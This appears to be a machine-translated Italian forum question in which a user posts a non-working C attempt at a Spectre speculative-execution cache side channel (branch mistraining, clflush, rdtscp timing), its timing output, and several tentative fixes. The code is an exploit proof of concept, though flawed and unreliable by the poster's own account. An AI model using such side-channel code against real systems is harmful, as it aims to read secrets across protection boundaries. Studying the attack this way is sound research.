Ispirato da questa domanda e basato su questo:
Perché me sytsem * senza patch * sembra * non vulnerabile da Spectre?
Ho capito che aprirò una nuova domanda, invece di "inquinare" qualcun altro con domande.
Ho scritto questo codice:
Dovrebbe caricare speculativamente 'U' nella cache della CPU e in seguito verrà verificato se è stato trovato lì, in base ai tempi di lettura.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
#define CACHELINESIZE 4096
#define REP 100
void main(void)
{
typedef char line[CACHELINESIZE];
line A[512];
// Initialise array to 'A'
for(int i=0; i<512; i++)
{
for(int j=0; j<CACHELINESIZE; j++)
{
A[i][j]='A';
}
}
// Flush address of i
for (int i = 0; i < 512; i++)
{
_mm_clflush( & A[i]); /* intrinsic for clflush instruction */
}
char secret = 'U';
char any = 'X';
char* pcheck[REP];
line* pwrite[REP];
for(int i=0; i<REP; i++) {
pcheck[i] = &any;
pwrite[i] = A;
}
/*
for(int i=0;i<REP;i++)
{
printf("pcheck: %c\n",*pcheck[i]);
printf("pwrite: %s\n",*pwrite[i]);
}
*/
pcheck[REP-1] = &secret;
pwrite[REP-1] = A+256;
/*
printf("pcheck:%c\n", *pcheck[REP-1]);
printf("pwrite:%c\n", **pwrite[REP-1]);
*/
char dummy;
for(int i=0; i<REP; i++) {
if (i != (REP-1)) {
dummy = *pcheck[i];
}
}
int t0,time_taken = 0;
int junk = 0;
char * val;
int mix_i=0;
int i,j;
int aux,res;
char RandomId[26];
char ListId[26]={65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};
srand(time(NULL));
for(i=0; i<26; i++)
{
res = rand() % 26;
aux = ListId[res];
if (ListId[res] != -1)
{
RandomId[i] = aux;
ListId[res] = -1;
}
else
i--;
}
for(i=0; i<26; i++)
{
t0 = __rdtscp(&junk);
val = &A[256+RandomId[i]];
time_taken = __rdtscp(&junk) - t0;
printf("trying: %c time: %i\n",RandomId[i],time_taken);
}
}
Esecuzione:
./spectre
trying: Z time: 103
trying: D time: 94
trying: A time: 95
trying: S time: 94
trying: W time: 93
trying: Y time: 98
trying: X time: 93
trying: N time: 94
trying: E time: 93
trying: H time: 93
trying: B time: 93
trying: O time: 93
trying: V time: 93
trying: L time: 93
trying: M time: 94
trying: G time: 93
trying: U time: 93
trying: Q time: 93
trying: I time: 93
trying: C time: 107
trying: R time: 94
trying: P time: 94
trying: T time: 93
trying: F time: 94
trying: K time: 324
trying: J time: 94
Quindi non posso determinare con precisione cosa c'è nella cache della CPU, poiché molti hanno valori bassi simili.
C'è qualcosa di sbagliato in questo approccio?
Funziona perfettamente sul mio portatile con questa versione:
Qualcuno vede le differenze tra sopra e versione in questo post?
L'ho compilato senza ottimizzazioni (gcc -O0)
Faccio caricare speculativamente 'U'
Ho cancellato la cache (clflush)
Successivamente misuro i tempi.
L'ho eseguito su un core (tasket 0x1 ./spectre)
Ho anche aggiunto il carico (stress -i NO_OF_CORES)
Idee qualcuno?
Aggiornamento 1:
Ho pensato che verrà caricato in modo speculativo qui:
/*
The if evaluates to true 99 times in a row and then once to false. Thus I assume that in the last run,
branch prediction is fooled into speculatively executing (but later abandoning) the assignment.
*/
if (i != (REP-1)) {
dummy = *pcheck[i];
}
}
Quindi a dummy verrà assegnata una "U", il che significa che dovrebbe essere nella cache della CPU?
Aggiornamento 2:
Questo dovrebbe essere sufficiente? È questo che intendi?
char dummy = 0; //prevent optimization by compiler
for(int i=0; i<REP; i++) {
if (i != (REP-1)) {
dummy = *pcheck[i];
A[256][256] = dummy;
}
}
Grazie,
Aggiornamento 3:
È corretto?
for(int i=0; i<REP; i++) {
if (i != (REP-1)) {
dummy = *pcheck[i];
A[256][i] = dummy;
}
}
Aggiornamento 4:
Inoltre, non dovrebbe essere fatto il momento in questo modo?
volatile uint8_t * addr;
for(i=0; i<26; i++)
{
mix_i = RandomId[i];
addr = &A[256][10+mix_i];
t0 = __rdtscp(&junk);
junk = *addr;
time_taken = __rdtscp(&junk) - t0;
printf("trying: %c time: %i\n",RandomId[i],time_taken);
}
}